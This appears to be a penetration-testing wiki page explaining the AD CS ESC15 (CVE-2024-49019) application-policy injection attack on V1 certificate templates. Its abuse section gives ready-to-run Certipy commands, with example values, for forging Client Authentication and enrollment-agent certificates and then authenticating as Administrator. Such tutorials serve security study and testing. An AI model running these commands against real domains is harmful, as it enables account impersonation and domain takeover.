ADCS - ESC15

PRIMARY CATEGORY → ADCS

Theory

Also known as CVE-2024-49019 or EKUwu

It is basically an arbitrary application policy injection on a issued certificate leveraging the lack of security of the V1 Certificate Templates

An operator issues a Certificate Signign Request (CSR) including an arbitrary Application Policy such as Client Authentication or Certificate Request Agent, for which the V1 Template is not intended

Furthermore, the client can specify any subject parameter (CN, OU and so on) and SAN since the enrollee supplies subject is enabled (True value)

At the moment the CA receives the CSR, it issues a new certificate based on the requested V1 template by the client. The given certificate will contain both the Extended Key Usages (EKUs) from the template and the application policies defined in the CSR

This means that the issued certificate can be used for client authentication such as Kerberos PKINIT or Schannel or to issue other certificates on behalf of any domain account i.e. Certificate Request Agent

With the latter, the operator has had to include the Certificate Request Agent to the CSR Application Policies in order to receive a certificate that will act as an Enrollment agent

Requirements

• CA not patched against CVE-2024-49019
• Enrollee Supplies Subject : TRUE
• Schema Version : 1
• The controlled domain account has enrollment rights

---

Abuse - UNIX-like

For instance, an attacker who controls a domain account, which has enrollment rights over a V1 Certificate Template with enrollee supplies subject enabled, can submit a CSR containing an arbitrary application policy, such as Client Authentication or Certificate Request Agent, and obtain a certificate to perform domain account impersonation through PKINIT PtC or Schannel PtC

Client Authentication

**OID → 1.3.6.1.5.5.7.3.2

An adversary submits a CSR including a Client Authentication application policy to the CA in order to receive a certificate from a V1 Template which contains both EKUs from the latter and the mentioned application policy

That is, if we are dealing with a V1 Template with a Server Authentication EKU and enrollee supplies subject enabled, the issued certificate will contain both Server Authentication and Client Authentication application policies (EKUs)

Appliation Policy ( Client Authentication ) injection on CSR to request a Certificate from a V1 Template with Enrollee supplies subject enabled

• Certipy

Certipy

certipy req -dc-ip '<DC_IP>' -username '<CONTROLLED_ACCOUNT>' -password '<PASSWORD>' -target '<CA_FQDN>' -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE>' -upn '<IMPERSONATED_USER>' -sid '<IMPERSONATED_USER_SID>' -application-policies 'Client Authentication'

e.g.

certipy req -dc-ip '10.129.61.4' -username 'john.doe' -password 'password1234$!' -target 'CA-01.domain.local' -ca 'CA-01' -template 'WebServer' -upn 'administrator@domain.local' -sid 'S-1-5-21-...-500' -application-policies 'Client Authentication'

After that, simply use the obtained certificate to authenticate via Schannel

Schannel Authentication using the issued certificate

• Certipy

Certipy

certipy auth -dc-ip '<DC_IP>' -pfx '<CERTIFICATE>' -ldap-shell

Enrollment Agent (Certificate Request Agent)

**OID → 1.3.6.1.4.1.311.20.2.1

In this attack vector, an operator perform a PKINIT/Kerberos impersonation via Enrollment Agent Abuse by injecting a Certificate Request Agent policy in the CSR submitted to the CA, and then using the issued certificate to request a certificate for a privileged user

Application Policy ( Certificate Request Agent ) Injection on CSR to request a Certificate from a V1 Template with Enrolle supplies subject enabled

• Certipy

Certipy

certipy req -dc-ip '<DC_IP>' -username '<CONTROLLED_ACCOUNT>' -password '<PASSWORD>' -target '<CA_FQDN>' -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE>' -application-policies 'Certificate Request Agent'

e.g.

certipy req -dc-ip '10.129.61.4' -username 'john.doe' -password 'password1234$!' -target 'CA-01.domain.local' -ca 'CA-01' -template 'WebServer' -application-policies 'Certificate Request Agent'

Once the operator receives a certificate containing the Certificate Request Agent application policy, the latter can be used to request a certificate on behalf of any domain account, acting as an Enrollment Agent

Certificate Request on behalf of any domain account by leveraging the Agent Certificate

• Certipy

Certipy

certipy req -dc-ip '<DC_IP>' -username '<CONTROLLED_ACCOUNT>' -password '<PASSWORD>' -target '<CA_FQDN>' -ca '<CA_NAME>' -template '<USER_OR_COMPUTER_TEMPLATE>' -pfx '<AGENT_CERTIFICATE>' -on-behalf-of '<TARGET_USER>'

e.g.

certipy req -dc-ip '10.129.61.4' -username 'john.doe' -password 'password1234$!' -target 'CA-01.domain.local' -ca 'CA-01' -template 'User' -pfx 'john_doe.pfx' -on-behalf-of 'Administrator'

As mentioned, an adversary could authenticate through Kerberos PKINIT or Schannel as the impersonated domain account using the issued certificate

#1 PKINIT Authentication as the Impersonated User

• Certipy

Certipy

certipy auth -dc-ip '<DC_IP>' -pfx '<CERTIFICATE>'

#2 Schannel Authentication as the Impersonated User

• Certipy

certipy auth -dc-ip '<DC_IP>' -pfx '<CERTIFICATE>' -ldap-shell

---

Resources

Certipy Wiki - ESC15: Arbitrary Application Policy Injection in V1 Templates